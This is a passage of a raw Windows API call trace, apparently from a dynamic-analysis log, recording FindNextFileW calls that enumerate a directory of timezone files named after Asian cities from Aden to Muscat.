nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aden", cAlternateFileName="")) returned 1 [0088.680] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Almaty", cAlternateFileName="")) returned 1 [0088.680] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Amman", cAlternateFileName="")) returned 1 [0088.680] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="Anadyr", cAlternateFileName="")) returned 1 [0088.680] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aqtau", cAlternateFileName="")) returned 1 [0088.680] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aqtobe", cAlternateFileName="")) returned 1 [0088.680] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x10d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ashgabat", cAlternateFileName="")) returned 1 [0088.680] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Baghdad", cAlternateFileName="")) returned 1 [0088.680] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bahrain", cAlternateFileName="")) returned 1 [0088.680] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Baku", cAlternateFileName="")) returned 1 [0088.680] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bangkok", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Beirut", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bishkek", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Brunei", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Choibalsan", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chongqing", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="Colombo", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x0, dwReserved1=0x0, cFileName="Damascus", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dhaka", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dili", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dubai", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dushanbe", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gaza", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Harbin", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hebron", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hong_Kong", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hovd", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ho_Chi_Minh", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Irkutsk", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jakarta", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jayapura", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jerusalem", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kabul", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kamchatka", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="Karachi", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kashgar", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kathmandu", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x259, dwReserved0=0x0, dwReserved1=0x0, cFileName="Khandyga", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kolkata", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Krasnoyarsk", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kuala_Lumpur", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kuching", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kuwait", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x189, dwReserved0=0x0, dwReserved1=0x0, cFileName="Macau", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Magadan", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Makassar", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Manila", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Muscat", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45c, 